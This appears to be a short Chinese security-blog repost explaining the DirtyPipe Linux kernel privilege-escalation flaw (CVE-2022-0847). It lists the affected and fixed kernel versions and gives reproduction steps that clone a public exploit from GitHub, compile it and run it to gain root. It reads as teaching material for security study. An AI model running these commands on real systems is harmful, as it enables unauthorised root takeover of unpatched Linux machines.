漏洞说明
DirtyPipe (CVE-2022-0847) 是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。
漏洞影响范围
Linux内核5.8及以后的版本。该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。
漏洞复现
查看内核版本,发现此版本存在该漏洞
uname -a # 查看系统内核版本
下载exp到服务器上进行执行
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
cd CVE-2022-0847-DirtyPipe-Exploit/
./compile.sh
./exploit
成功获取到root权限
原文始发于微信公众号(渗透笔记):Linux提权(八)CVE-2022-0847 内核提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论